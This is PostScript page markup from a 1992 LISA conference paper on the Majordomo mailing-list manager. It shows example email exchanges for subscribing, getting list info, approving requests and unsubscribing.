+3515 X(mailing)s +2256 X +2607 Y(list)s +2364 X(of)s +2443 X(problems)s +2715 X(with)s +2858 X(that)s +2983 X(mailing)s +3212 X(list)s +3319 X(\(bounced)s +3590 X(mes-)s +2256 X +2680 Y(sages,)s +2443 X(and)s +2565 X(so)s +2650 X(forth;)s +2824 X(see)s +2936 X(the)s +3044 X(Sendmail)s +3323 X(documentation)s +2256 X +2753 Y(for)s +2397 X(more)s +2598 X(information\))s +2935 X(.)s +3038 X(The)s +3206 X("owner)s +3399 X(-")s +3512 X(and)s +3671 X(")s +3698 X(-)s +2256 X +2826 Y(approval")s +2559 X(aliases)s +2782 X(could)s +2973 X(point)s +3153 X(to)s +3249 X(different)s +3523 X(people;)s +2256 X +2899 Y(each)s +2401 X(could)s +2571 X(also)s +2701 X(expand)s +2915 X(to)s +2989 X(multiple)s +3235 X(people)s +3413 X(.)s +2256 X +3026 Y +2725 X +f.B 10 Z(Using)s +2910 X(Majordomo)s +2256 X +3135 Y +2400 X +f.R 10 Z(To)s +2501 X(use)s +2617 X(Majordomo,)s +2975 X(a)s +3032 X(user)s +3171 X(sends)s +3347 X(commands)s +3664 X(as)s +2256 X +3208 Y(an)s +2361 X(email)s +2553 X(message)s +2822 X(to)s +2916 X(the)s +3040 X(address)s +3282 X(the)s +3406 X(Majordomo)s +2256 X +3281 Y(server)s +2460 X(is)s +2546 X(con\256gured)s +2871 X(to)s +2964 X(recognize)s +3265 X(\(for)s +3406 X(the)s +3530 X(sample)s +2256 X +3354 Y(con\256guration)s +2696 X(in)s +2833 X(Figure)s +3091 X(3,)s +3225 X(the)s +3391 X(address)s +3675 X(is)s +2256 X +3427 Y("Majordomo@Gre)s +2758 X(atCircle)s +2971 X(.COM"\))s +3188 X(.)s +3264 X(For)s +3393 X(instance,)s +3668 X(to)s +2256 X +3500 Y(\256nd)s +2479 X(out)s +2683 X(what)s +2932 X(lists)s +3160 X(are)s +3361 X(served)s +3654 X(by)s +2256 X +3573 Y(Majordomo@Grea)s +2761 X(tCircle)s +2944 X(.COM,)s +3219 X(a)s +3340 X(user)s +3542 X(named)s +2256 X +3646 Y("Jane@Somewher)s +2748 X(e)s +2778 X(.ORG")s +2997 X(might)s +3188 X(send)s +3345 X(the)s +3461 X(following)s +600 X +4967 Y +f.B 10 Z(1992)s +754 X(LISA)s +931 X(VI)s +1027 X(\261)s +1082 X(October)s +1338 X(19)s +1404 X(-23,)s +1531 X(1992)s +1685 X(\261)s +1740 X(Long)s +1909 X(Beach,)s +2122 X(CA)s +3621 X(139)s +5280 Y +pagebot + +%%Page: 140 6 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +360 X +215 Y(Majordomo:)s +744 X(How)s +899 X(I)s +947 X(Manage)s +1198 X(17)s +1286 X(Mailing)s +1531 X(Lists)s +1690 X(.)s +1707 X(.)s +1724 X(.)s +3199 X(Chapman)s +360 X +448 Y +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +f.R 10 Z(message:)s +360 X +537 Y +408 X +stdencoding /NCourier /Courier RE +/f.CW /NCourier findfont def +f.CW 8 Z(From:)s +600 X(Jane@Somewhere)s +1048 X(.ORG)s +360 X +597 Y +408 X(To:)s +536 X(Majordomo@Great)s +1016 X(Circle)s +1208 X(.COM)s +360 X +693 Y +408 X(lists)s +360 X +795 Y +f.R 10 Z(The)s +492 X("Subject:")s +794 X(line)s +923 X(of)s +1006 X(a)s +1064 X(message,)s +1336 X(if)s +1405 X(any,)s +1547 X(is)s +1621 X(ignored)s +360 X +868 Y(by)s +452 X(Majordomo,)s +809 X(so)s +894 X(there's)s +1102 X(no)s +1194 X(harm)s +1357 X(in)s +1435 X(leaving)s +1658 X(it)s +1722 X(out)s +1807 X(.)s +360 X +941 Y(Jane)s +509 X(would)s +705 X(receive)s +929 X(a)s +990 X(message)s +1248 X(like)s +1380 X(this)s +1508 X(in)s +1591 X(response)s +360 X +1014 Y(to)s +434 X(her)s +541 X(query:)s +360 X +1103 Y +408 X +f.CW 8 Z(From:)s +600 X(Majordomo@Great)s +1080 X(Circle)s +1272 X(.COM)s +360 X +1163 Y +408 X(To:)s +536 X(Jane@Somewhere)s +984 X(.ORG)s +360 X +1223 Y +408 X(Subject:)s +696 X(Majordomo)s +1016 X(results)s +360 X +1319 Y +408 X(>>>>)s +568 X(lists)s +360 X +1379 Y +408 X(Majordomo@Great)s +888 X(Circle)s +1080 X(.COM)s +1240 X(serves)s +1464 X(the)s +360 X +1439 Y +408 X(following)s +728 X(lists:)s +360 X +1535 Y +536 X(majordomo)s +824 X(-announce)s +360 X +1595 Y +536 X(majordomo)s +824 X(-users)s +360 X +1691 Y +408 X(Use)s +536 X(the)s +664 X('info)s +856 X(')s +1112 X(command)s +1368 X(to)s +1464 X(get)s +360 X +1751 Y +408 X(more)s +568 X(information)s +952 X(about)s +1144 X(a)s +1208 X(specific)s +1496 X(list)s +1624 X(.)s +360 X +1853 Y +f.R 10 Z(Upon)s +546 X(receiving)s +834 X(this,)s +987 X(Jane)s +1145 X(might)s +1340 X(wish)s +1505 X(to)s +1596 X(\256nd)s +1739 X(out)s +360 X +1926 Y(more)s +527 X(about)s +705 X(each)s +857 X(of)s +941 X(these)s +1108 X(lists)s +1217 X(.)s +1285 X(She)s +1414 X(could)s +1591 X(send)s +1742 X(the)s +360 X +1999 Y(following)s +641 X(request:)s +360 X +2088 Y +408 X +f.CW 8 Z(From:)s +600 X(Jane@Somewhere)s +1048 X(.ORG)s +360 X +2148 Y +408 X(To:)s +536 X(Majordomo@Great)s +1016 X(Circle)s +1208 X(.COM)s +360 X +2244 Y +408 X(info)s +568 X(majordomo)s +856 X(-announce)s +360 X +2304 Y +408 X(info)s +568 X(majordomo)s +856 X(-users)s +360 X +2406 Y +f.R 10 Z(In)s +437 X(return,)s +635 X(Majordomo)s +971 X(would)s +1159 X(respond)s +1391 X(with:)s +360 X +2495 Y +408 X +f.CW 8 Z(From:)s +600 X(Majordomo@Great)s +1080 X(Circle)s +1272 X(.COM)s +360 X +2555 Y +408 X(To:)s +536 X(Jane@Somewhere)s +984 X(.ORG)s +360 X +2615 Y +408 X(Subject:)s +696 X(Majordomo)s +1016 X(results)s +360 X +2711 Y +408 X(>>>>)s +568 X(info)s +728 X(majordomo)s +1016 X(-users)s +360 X +2771 Y +408 X(This)s +568 X(list)s +728 X(is)s +824 X(for)s +952 X(discussions)s +1336 X(\(including)s +360 X +2831 Y +408 X(bug)s +536 X(reports,)s +824 X(enhancement)s +1208 X(reports,)s +360 X +2891 Y +408 X(and)s +536 X(general)s +792 X(usage)s +984 X(tips\))s +1176 X(concerning)s +360 X +2951 Y +408 X(the)s +536 X(Majordomo)s +856 X(mailing)s +1112 X(list)s +1272 X(manager)s +1496 X(.)s +360 X +3011 Y +408 X(.)s +440 X(.)s +472 X(.)s +360 X +3107 Y +408 X(>>>>)s +568 X(info)s +728 X(majordomo)s +1016 X(-announce)s +360 X +3167 Y +408 X(This)s +568 X(list)s +728 X(is)s +824 X(for)s +952 X(announcements)s +1400 X(of)s +1496 X(new)s +360 X +3227 Y +408 X(releases)s +696 X(of)s +792 X(the)s +920 X(Majordomo)s +1240 X(mailing)s +360 X +3287 Y +408 X(list)s +568 X(manager)s +792 X(.)s +360 X +3347 Y +408 X(.)s +440 X(.)s +472 X(.)s +360 X +3449 Y +f.R 10 Z(If)s +433 X(Jane)s +581 X(wishes)s +792 X(to)s +873 X(subscribe)s +1154 X(to)s +1235 X(one)s +1360 X(of)s +1445 X(the)s +1557 X(lists)s +1696 X(\(say,)s +360 X +3522 Y(the)s +477 X(majordomo)s +784 X(-users)s +977 X(list\),)s +1133 X(she)s +1256 X(would)s +1456 X(send)s +1612 X(the)s +1728 X(fol-)s +360 X +3595 Y(lowing)s +567 X(request:)s +360 X +3684 Y +408 X +f.CW 8 Z(From:)s +600 X(Jane@Somewhere)s +1048 X(.ORG)s +360 X +3744 Y +408 X(To:)s +536 X(Majordomo@Great)s +1016 X(Circle)s +1208 X(.COM)s +360 X +3840 Y +408 X(subscribe)s +728 X(majordomo)s +1016 X(-users)s +360 X +3942 Y +f.R 10 Z(In)s +438 X(return,)s +637 X(she)s +749 X(would)s +938 X(receive)s +1155 X(two)s +1278 X(messages)s +1531 X(.)s +1593 X(The)s +1720 X(\256rst)s +360 X +4015 Y(is)s +427 X(a)s +479 X(standard)s +727 X(Majordomo)s +1063 X(response:)s +360 X +4104 Y +408 X +f.CW 8 Z(From:)s +600 X(Majordomo@Great)s +1080 X(Circle)s +1272 X(.COM)s +360 X +4164 Y +408 X(To:)s +536 X(Jane@Somewhere)s +984 X(.ORG)s +360 X +4224 Y +408 X(Subject:)s +696 X(Majordomo)s +1016 X(results)s +360 X +4320 Y +408 X(>>>>)s +568 X(subscribe)s +888 X(majordomo)s +1176 X(-users)s +360 X +4380 Y +408 X(Succeeded)s +696 X(.)s +360 X +4482 Y +f.R 10 Z(The)s +511 X(second)s +743 X(is)s +835 X("welcome")s +1178 X(message)s +1452 X(with)s +1619 X(speci\256c)s +360 X +4555 Y(information)s +719 X(concerning)s +1059 X(the)s +1185 X(list)s +1311 X(\(note)s +1491 X(that)s +1635 X(it)s +1716 X(also)s +360 X +4628 Y(includes)s +617 X(the)s +734 X(same)s +907 X(information)s +1257 X(that)s +1393 X(an)s +1491 X("info")s +1687 X(com-)s +360 X +4701 Y(mand)s +537 X(on)s +632 X(the)s +743 X(list)s +855 X(would)s +1050 X(return\))s +1231 X(.)s +1299 X(This)s +1447 X(message)s +1702 X(goes)s +2016 X +448 Y(to)s +2091 X(the)s +2196 X(subscribed)s +2504 X(address,)s +2744 X(not)s +2852 X(the)s +2957 X(address)s +3181 X(the)s +3287 X(request)s +2016 X +521 Y(was)s +2155 X(made)s +2335 X(from)s +2499 X(\(though)s +2740 X(in)s +2826 X(this)s +2957 X(case)s +3107 X(those)s +3282 X(are)s +3398 X(the)s +2016 X +594 Y(same;)s +2206 X(since)s +2377 X(Jane)s +2529 X(didn't)s +2722 X(specify)s +2949 X(an)s +3046 X(address)s +3280 X(to)s +3366 X(sub-)s +2016 X +667 Y(scribe,)s +2229 X(it)s +2303 X(defaulted)s +2588 X(to)s +2676 X(the)s +2794 X(address)s +3030 X(the)s +3148 X(request)s +3376 X(was)s +2016 X +740 Y(made)s +2183 X(from\):)s +2016 X +829 Y +2064 X +f.CW 8 Z(From:)s +2256 X(Majordomo@Great)s +2736 X(Circle)s +2928 X(.COM)s +2016 X +889 Y +2064 X(To:)s +2192 X(Jane@Somewhere)s +2640 X(.ORG)s +2016 X +949 Y +2064 X(Subject:)s +2352 X(Welcome)s +2608 X(to)s +2704 X(majordomo)s +2992 X(-users)s +2016 X +1045 Y +2064 X(Welcome)s +2320 X(to)s +2416 X(the)s +2544 X(majordomo)s +2832 X(-users)s +3056 X(mailing)s +3312 X(list!)s +2016 X +1141 Y +2064 X(If)s +2160 X(you)s +2288 X(ever)s +2448 X(want)s +2608 X(to)s +2704 X(remove)s +2928 X(yourself)s +2016 X +1201 Y +2064 X(from)s +2224 X(this)s +2384 X(mailing)s +2640 X(list,)s +2832 X(send)s +2992 X(the)s +2016 X +1261 Y +2064 X(following)s +2384 X(command)s +2640 X(in)s +2736 X(email)s +2928 X(to)s +2016 X +1321 Y +2064 X("Majordomo@Grea)s +2544 X(tCircle)s +2768 X(.COM":)s +2016 X +1417 Y +2192 X(unsubscribe)s +2576 X(majordomo)s +2864 X(-users)s +3088 X(\\)s +2016 X +1477 Y +2304 X(Jane@Somewhere)s +2752 X(.ORG)s +2016 X +1573 Y +2064 X(Here's)s +2288 X(the)s +2416 X(general)s +2672 X(information)s +3056 X(for)s +3184 X(the)s +2016 X +1633 Y +2064 X(list)s +2224 X(you've)s +2448 X(subscribed)s +2800 X(to,)s +2928 X(in)s +3024 X(case)s +3184 X(you)s +2016 X +1693 Y +2064 X(don't)s +2256 X(already)s +2512 X(have)s +2672 X(it:)s +2016 X +1789 Y +2064 X(This)s +2224 X(list)s +2384 X(is)s +2480 X(for)s +2608 X(discussions)s +2992 X(\(including)s +2016 X +1849 Y +2064 X(bug)s +2192 X(reports,)s +2480 X(enhancement)s +2864 X(reports,)s +2016 X +1909 Y +2064 X(and)s +2192 X(general)s +2448 X(usage)s +2640 X(tips\))s +2832 X(concerning)s +2016 X +1969 Y +2064 X(the)s +2192 X(Majordomo)s +2512 X(mailing)s +2768 X(list)s +2928 X(manager)s +3152 X(.)s +2016 X +2029 Y +2064 X(.)s +2096 X(.)s +2128 X(.)s +2016 X +2131 Y +f.R 10 Z(At)s +2109 X(the)s +2217 X(same)s +2381 X(time,)s +2544 X(the)s +2652 X(owner)s +2844 X(of)s +2925 X(the)s +3033 X(list)s +3143 X(\(through)s +3398 X(the)s +2016 X +2204 Y("majordomo)s +2350 X(-users)s +2509 X(-approval")s +2935 X(alias)s +3203 X(in)s +3398 X(the)s +2016 X +2277 Y +f.CW 10 Z(/etc/aliases)s +2533 X +f.R 10 Z(\256le)s +2656 X(on)s +2759 X(the)s +2879 X(Majordomo)s +3231 X(machine\))s +2016 X +2350 Y(would)s +2220 X(receive)s +2452 X(the)s +2572 X(following)s +2868 X(noti\256cation)s +3210 X(of)s +3302 X(a)s +3369 X(new)s +2016 X +2423 Y(user:)s +2016 X +2512 Y +2064 X +f.CW 8 Z(From:)s +2256 X(Majordomo@Great)s +2736 X(Circle)s +2928 X(.COM)s +2016 X +2572 Y +2064 X(To:)s +2192 X(majordomo)s +2480 X(-users)s +2672 X(-approval@Great)s +3152 X(Circle)s +3344 X(.COM)s +2016 X +2632 Y +2064 X(Subject:)s +2352 X(SUBSCRIBE)s +2672 X(majordomo)s +2960 X(-users)s +2016 X +2728 Y +2064 X(Jane@Somewhere)s +2512 X(.ORG)s +2672 X(has)s +2800 X(been)s +2016 X +2788 Y +2064 X(added)s +2256 X(to)s +2352 X(majordomo)s +2640 X(-users)s +2832 X(.)s +2016 X +2848 Y +2064 X(No)s +2160 X(action)s +2384 X(is)s +2480 X(required)s +2768 X(on)s +2864 X(your)s +3024 X(part)s +3152 X(.)s +2016 X +2950 Y +f.R 10 Z(If)s +2094 X(Jane)s +2247 X(wanted)s +2474 X(to)s +2560 X(subscribe)s +2846 X(some)s +3021 X(other)s +3193 X(address)s +3428 X(to)s +2016 X +3023 Y(majordomo)s +2323 X(-announce)s +2742 X(\(the)s +2988 X(email)s +3280 X(address)s +2016 X +3096 Y("SysStaff@Some)s +2482 X(where)s +2645 X(.ORG",)s +2886 X(for)s +3003 X(instance,)s +3280 X(so)s +3379 X(that)s +2016 X +3169 Y(all)s +2134 X(members)s +2429 X(of)s +2534 X(the)s +2666 X(system)s +2902 X(staff)s +3071 X(would)s +3286 X(receive)s +2016 X +3242 Y(announcements)s +2471 X(concerning)s +2808 X(Majordomo\),)s +3202 X(she)s +3332 X(could)s +2016 X +3315 Y(submit)s +2220 X(the)s +2324 X(following)s +2605 X(request:)s +2016 X +3404 Y +2064 X +f.CW 8 Z(From:)s +2256 X(Jane@Somewhere)s +2704 X(.ORG)s +2016 X +3464 Y +2064 X(To:)s +2192 X(Majordomo@Great)s +2672 X(Circle)s +2864 X(.COM)s +2016 X +3560 Y +2064 X(subscribe)s +2384 X(majordomo)s +2672 X(-announce)s +2992 X(\\)s +2016 X +3620 Y +2304 X(SysStaff@Somew)s +2752 X(here)s +2880 X(.ORG)s +2016 X +3722 Y +f.R 10 Z(This)s +2184 X(would)s +2399 X(cause)s +2597 X(the)s +2729 X(following)s +3038 X(message)s +3315 X(to)s +3417 X(be)s +2016 X +3795 Y(returned)s +2260 X(to)s +2334 X(Jane:)s +2016 X +3884 Y +2064 X +f.CW 8 Z(From:)s +2256 X(Majordomo@Great)s +2736 X(Circle)s +2928 X(.COM)s +2016 X +3944 Y +2064 X(To:)s +2192 X(Jane@Somewhere)s +2640 X(.ORG)s +2016 X +4004 Y +2064 X(Subject:)s +2352 X(Majordomo)s +2672 X(results)s +2016 X +4100 Y +2064 X(>>>>)s +2224 X(subscribe)s +2544 X(majordomo)s +2832 X(-announce)s +3152 X(\\)s +2016 X +4160 Y +2304 X(SysStaff@Somew)s +2752 X(here)s +2880 X(.ORG)s +2016 X +4220 Y +2064 X(Your)s +2224 X(request)s +2480 X(to)s +2576 X(Majordomo@Great)s +3056 X(Circle)s +3248 X(.COM:)s +2016 X +4316 Y +2192 X(subscribe)s +2512 X(majordomo)s +2800 X(-announce)s +3120 X(\\)s +2016 X +4376 Y +2304 X(SysStaff@Somew)s +2752 X(here)s +2880 X(.ORG)s +2016 X +4472 Y +2064 X(has)s +2192 X(been)s +2352 X(forwarded)s +2672 X(to)s +2768 X(the)s +2896 X(owner)s +3088 X(of)s +3184 X(the)s +2016 X +4532 Y +2064 X("majordomo)s +2384 X(-announce")s +2736 X(list)s +2896 X(for)s +3024 X(approval)s +3280 X(.)s +2016 X +4592 Y +2064 X(This)s +2224 X(could)s +2416 X(be)s +2512 X(for)s +2640 X(any)s +2768 X(of)s +2864 X(several)s +3120 X(reasons:)s +2016 X +4688 Y +2192 X(You)s +2320 X(might)s +2512 X(have)s +2672 X(asked)s +2864 X(to)s +2960 X(subscribe)s +3280 X(to)s +3376 X(a)s +2016 X +4748 Y +2192 X("closed")s +2480 X(list,)s +2672 X(where)s +2864 X(all)s +2992 X(new)s +3120 X(additions)s +360 X +4967 Y +f.B 10 Z(140)s +1862 X(1992)s +2016 X(LISA)s +2193 X(VI)s +2289 X(\261)s +2344 X(October)s +2600 X(19)s +2666 X(-23,)s +2793 X(1992)s +2947 X(\261)s +3002 X(Long)s +3171 X(Beach,)s +3384 X(CA)s +5280 Y +pagebot + +%%Page: 141 7 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +600 X +215 Y(Chapman)s +2339 X(Majordomo:)s +2723 X(How)s +2878 X(I)s +2926 X(Manage)s +3177 X(17)s +3265 X(Mailing)s +3510 X(Lists)s +3669 X(.)s +3686 X(.)s +3703 X(.)s +600 X +435 Y +776 X +stdencoding /NCourier /Courier RE +/f.CW /NCourier findfont def +f.CW 8 Z(must)s +936 X(be)s +1032 X(approved)s +1320 X(by)s +1416 X(the)s +1544 X(list)s +1704 X(owner)s +1864 X(.)s +600 X +531 Y +776 X(You)s +904 X(might)s +1096 X(have)s +1256 X(asked)s +1448 X(to)s +1544 X(subscribe)s +1864 X(or)s +600 X +591 Y +776 X(unsubscribe)s +1160 X(an)s +1256 X(address)s +1512 X(other)s +1704 X(than)s +600 X +651 Y +776 X(the)s +904 X(one)s +1032 X(that)s +1192 X(appears)s +1448 X(in)s +1544 X(the)s +1672 X(headers)s +600 X +711 Y +776 X(of)s +872 X(your)s +1032 X(mail)s +1192 X(message)s +1416 X(.)s +600 X +807 Y +648 X(When)s +808 X(the)s +936 X(list)s +1096 X(owner)s +1288 X(approves)s +1576 X(your)s +1736 X(request,)s +2024 X(you)s +600 X +867 Y +648 X(will)s +808 X(be)s +904 X(notified)s +1160 X(.)s +600 X +963 Y +648 X(If)s +744 X(you)s +872 X(have)s +1032 X(any)s +1160 X(questions)s +1480 X(about)s +1672 X(the)s +600 X +1023 Y +648 X(policy)s +872 X(of)s +968 X(the)s +1096 X(list)s +1256 X(owner,)s +1480 X(please)s +1704 X(contact)s +600 X +1083 Y +648 X("majordomo)s +968 X(-announce)s +1256 X(-approval@Great)s +1736 X(Circle)s +1928 X(.COM")s +2088 X(.)s +600 X +1185 Y +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +f.R 10 Z(At)s +700 X(the)s +816 X(same)s +988 X(time,)s +1159 X(Majordomo)s +1507 X(sends)s +1689 X(the)s +1805 X(following)s +600 X +1258 Y(message)s +849 X(to)s +923 X(the)s +1027 X(mailing)s +1254 X(list)s +1359 X(owner:)s +600 X +1347 Y +648 X +f.CW 8 Z(From:)s +840 X(Majordomo@Great)s +1320 X(Circle)s +1512 X(.COM)s +600 X +1407 Y +648 X(To:)s +776 X(majordomo)s +1064 X(-announce)s +1352 X(-approval@Great)s +1832 X(Circle)s +2024 X(.COM)s +600 X +1467 Y +648 X(Subject:)s +936 X(APPROVE)s +1192 X(majordomo)s +1480 X(-announce)s +600 X +1563 Y +648 X(Jane@Somewhere)s +1096 X(.ORG)s +1256 X(requests)s +1544 X(that)s +1704 X(you)s +600 X +1623 Y +648 X(approve)s +904 X(the)s +1032 X(following:)s +600 X +1719 Y +776 X(subscribe)s +1096 X(majordomo)s +1384 X(-announce)s +1704 X(\\)s +600 X +1779 Y +888 X(SysStaff@Somew)s +1336 X(here)s +1464 X(.ORG)s +600 X +1875 Y +648 X(If)s +744 X(you)s +872 X(approve,)s +1160 X(please)s +1384 X(send)s +1544 X(a)s +1608 X(message)s +600 X +1935 Y +648 X(such)s +808 X(as)s +904 X(the)s +1032 X(following)s +1352 X(back)s +1512 X(to)s +600 X +1995 Y +648 X(Majordomo@Great)s +1128 X(Circle)s +1320 X(.COM)s +1480 X(\(with)s +1672 X(the)s +600 X +2055 Y +648 X(appropriate)s +1032 X(PASSWORD)s +1320 X(filled)s +1544 X(in,)s +600 X +2115 Y +648 X(of)s +744 X(course\):)s +600 X +2211 Y +776 X(approve)s +1032 X(PASSWORD)s +1320 X(subscribe)s +1640 X(\\)s +600 X +2271 Y +888 X(majordomo)s +1176 X(-announce)s +1496 X(SysStaff@Somewh)s +1976 X(ere)s +2072 X(.ORG)s +600 X +2367 Y +648 X(If)s +744 X(you)s +872 X(disapprove,)s +1256 X(do)s +1352 X(nothing)s +1576 X(.)s +600 X +2469 Y +f.R 10 Z(If)s +672 X(the)s +782 X(list)s +893 X(owner)s +1087 X(sends)s +1263 X(such)s +1413 X(an)s +1504 X("approve")s +1801 X(command)s +600 X +2542 Y(back)s +753 X(to)s +832 X(Majordomo,)s +1190 X(and)s +1313 X(the)s +1422 X(password)s +1699 X(is)s +1770 X(the)s +1878 X(correct)s +600 X +2615 Y(password)s +883 X(for)s +992 X(the)s +1106 X(list)s +1221 X(in)s +1306 X(question,)s +1582 X(then)s +1730 X(the)s +1845 X(addition)s +600 X +2688 Y(will)s +760 X(take)s +927 X(place)s +1069 X(.)s +1163 X(The)s +1322 X(address)s +1577 X(being)s +1779 X(subscribed)s +600 X +2761 Y(\(SysStaff@Some)s +1061 X(where)s +1224 X(.ORG,)s +1466 X(in)s +1586 X(this)s +1752 X(case\))s +1959 X(will)s +600 X +2834 Y(receive)s +864 X(a)s +964 X(standard)s +1260 X("Welcome)s +1614 X(to)s +1735 X(majordomo)s +2042 X(-)s +600 X +2907 Y(announce")s +906 X(message)s +1158 X(and)s +1279 X(the)s +1386 X(list)s +1494 X(owner)s +1685 X(will)s +1815 X(receive)s +2034 X(a)s +600 X +2980 Y(standard)s +894 X("SUBSCRIBE")s +1377 X(noti\256cation,)s +1767 X(as)s +1891 X(shown)s +600 X +3053 Y(above)s +759 X(.)s +600 X +3147 Y +744 X(Such)s +908 X(an)s +1002 X("approve")s +1301 X(cycle)s +1474 X(takes)s +1644 X(place)s +1818 X(if)s +1891 X(a)s +1953 X(user)s +600 X +3220 Y(attempts)s +852 X(to)s +927 X(subscribe)s +1202 X(or)s +1280 X(unsubscribe)s +1621 X(any)s +1740 X(address)s +1963 X(that)s +600 X +3293 Y(doesn't)s +830 X(match)s +1028 X(the)s +1144 X(one)s +1274 X(in)s +1360 X(the)s +1476 X(header)s +1688 X(of)s +1777 X(their)s +1934 X(mes-)s +600 X +3366 Y(sage,)s +758 X(or)s +835 X(if)s +898 X(a)s +950 X(user)s +1083 X(asks)s +1220 X(to)s +1294 X(subscribe)s +1568 X(to)s +1642 X(a)s +1694 X("closed")s +1941 X(list)s +2024 X(.)s +600 X +3460 Y +744 X(To)s +841 X(\256nd)s +967 X(out)s +1075 X(who)s +1212 X(is)s +1280 X(on)s +1369 X(the)s +1474 X(majordomo)s +1781 X(-users)s +1964 X(list,)s +600 X +3533 Y(Jane)s +741 X(would)s +929 X(send)s +1073 X(the)s +1177 X(following)s +1458 X(request:)s +600 X +3622 Y +648 X +f.CW 8 Z(From:)s +840 X(Jane@Somewhere)s +1288 X(.ORG)s +600 X +3682 Y +648 X(To:)s +776 X(Majordomo@Great)s +1256 X(Circle)s +1448 X(.COM)s +600 X +3778 Y +648 X(who)s +776 X(majordomo)s +1064 X(-users)s +600 X +3880 Y +f.R 10 Z(and)s +718 X(would)s +906 X(receive)s +1122 X(the)s +1226 X(following)s +1507 X(response:)s +600 X +3969 Y +648 X +f.CW 8 Z(From:)s +840 X(Majordomo@Great)s +1320 X(Circle)s +1512 X(.COM)s +600 X +4029 Y +648 X(To:)s +776 X(Jane@Somewhere)s +1224 X(.ORG)s +600 X +4089 Y +648 X(Subject:)s +936 X(Majordomo)s +1256 X(results)s +600 X +4185 Y +648 X(>>>>)s +808 X(who)s +936 X(majordomo)s +1224 X(-users)s +600 X +4245 Y +648 X(Members)s +904 X(of)s +1000 X(list)s +1160 X('majordomo)s +1480 X(-users':)s +600 X +4341 Y +648 X(brent@GreatCirc)s +1128 X(le)s +1192 X(.COM)s +1352 X(\(Brent)s +1576 X(Chapman\))s +600 X +4401 Y +648 X(Jane@Somewhere)s +1096 X(.ORG)s +600 X +4461 Y +648 X(Joe)s +776 X(User)s +936 X()s +600 X +4521 Y +648 X(.)s +680 X(.)s +712 X(.)s +2256 X +448 Y +2400 X +f.R 10 Z(To)s +2500 X(\256nd)s +2629 X(out)s +2740 X(which)s +2929 X(of)s +3010 X(the)s +3118 X(lists)s +3253 X(she's)s +3417 X(on)s +3510 X(that)s +3638 X(are)s +2256 X +521 Y(served)s +2469 X(by)s +2573 X(a)s +2641 X(given)s +2827 X(Majordomo)s +3179 X(server,)s +3397 X(Jane)s +3554 X(would)s +2256 X +594 Y(send)s +2400 X(the)s +2504 X(following)s +2785 X(request:)s +2256 X +683 Y +2304 X +f.CW 8 Z(From:)s +2496 X(Jane@Somewhere)s +2944 X(.ORG)s +2256 X +743 Y +2304 X(To:)s +2432 X(Majordomo@Great)s +2912 X(Circle)s +3104 X(.COM)s +2256 X +839 Y +2304 X(which)s +2256 X +941 Y +f.R 10 Z(Majordomo)s +2592 X(would)s +2780 X(respond)s +3012 X(with:)s +2256 X +1030 Y +2304 X +f.CW 8 Z(From:)s +2496 X(Majordomo@Great)s +2976 X(Circle)s +3168 X(.COM)s +2256 X +1090 Y +2304 X(To:)s +2432 X(Jane@Somewhere)s +2880 X(.ORG)s +2256 X +1150 Y +2304 X(Subject:)s +2592 X(Majordomo)s +2912 X(results)s +2256 X +1246 Y +2304 X(>>>>)s +2464 X(which)s +2256 X +1306 Y +2304 X(The)s +2432 X(address)s +2688 X('Jane@Somewhere)s +3168 X(.ORG')s +3360 X(is)s +2256 X +1366 Y +2304 X(on)s +2400 X(the)s +2528 X(following)s +2848 X(lists)s +3040 X(served)s +3264 X(by)s +2256 X +1426 Y +2304 X(Majordomo@Great)s +2784 X(Circle)s +2976 X(.COM:)s +2256 X +1522 Y +2560 X(majordomo)s +2848 X(-users)s +2256 X +1645 Y +2400 X +f.R 10 Z(To)s +2515 X(unsubscribe)s +2874 X(herself)s +3097 X(from)s +3267 X(the)s +3391 X(majordomo)s +3698 X(-)s +2256 X +1718 Y(users)s +2415 X(list,)s +2537 X(Jane)s +2678 X(would)s +2866 X(send)s +3010 X(a)s +3062 X(request)s +3277 X(such)s +3421 X(as:)s +2256 X +1807 Y +2304 X +f.CW 8 Z(From:)s +2496 X(Jane@Somewhere)s +2944 X(.ORG)s +2256 X +1867 Y +2304 X(To:)s +2432 X(Majordomo@Great)s +2912 X(Circle)s +3104 X(.COM)s +2256 X +1963 Y +2304 X(unsubscribe)s +2688 X(majordomo)s +2976 X(-users)s +3200 X(\\)s +2256 X +2023 Y +2544 X(Jane@Somewhere)s +2992 X(.ORG)s +2256 X +2125 Y +f.R 10 Z(To)s +2352 X(which)s +2537 X(Majordomo)s +2873 X(would)s +3061 X(respond:)s +2256 X +2214 Y +2304 X +f.CW 8 Z(From:)s +2496 X(Majordomo@Great)s +2976 X(Circle)s +3168 X(.COM)s +2256 X +2274 Y +2304 X(To:)s +2432 X(Jane@Somewhere)s +2880 X(.ORG)s +2256 X +2334 Y +2304 X(Subject:)s +2592 X(Majordomo)s +2912 X(results)s +2256 X +2430 Y +2304 X(>>>>)s +2464 X(unsubscribe)s +2848 X(majordomo)s +3136 X(-users)s +3360 X(\\)s +2256 X +2490 Y +2544 X(Jane@Somewhere)s +2992 X(.ORG)s +2256 X +2550 Y +2304 X(Succeeded)s +2592 X(.)s +2256 X +2652 Y +f.R 10 Z(The)s +2383 X(following)s +2665 X(message)s +2915 X(would)s +3104 X(also)s +3236 X(be)s +3323 X(sent)s +3455 X(to)s +3531 X(the)s +3637 X(list)s +2256 X +2725 Y(owner:)s +2256 X +2814 Y +2304 X +f.CW 8 Z(From:)s +2496 X(Majordomo@Great)s +2976 X(Circle)s +3168 X(.COM)s +2256 X +2874 Y +2304 X(To:)s +2432 X(majordomo)s +2720 X(-users)s +2912 X(-approval@Great)s +3392 X(Circle)s +3584 X(.COM)s +2256 X +2934 Y +2304 X(Subject:)s +2592 X(UNSUBSCRIBE)s +2976 X(majordomo)s +3264 X(-users)s +2256 X +3030 Y +2304 X(Jane@Somewhere)s +2752 X(.ORG)s +2912 X(has)s +3040 X(unsubscribed)s +2256 X +3090 Y +2304 X(from)s +2464 X(majordomo)s +2752 X(-users)s +2944 X(.)s +2256 X +3150 Y +2304 X(No)s +2400 X(action)s +2624 X(is)s +2720 X(required)s +3008 X(on)s +3104 X(your)s +3264 X(part)s +3392 X(.)s +2256 X +3273 Y +2400 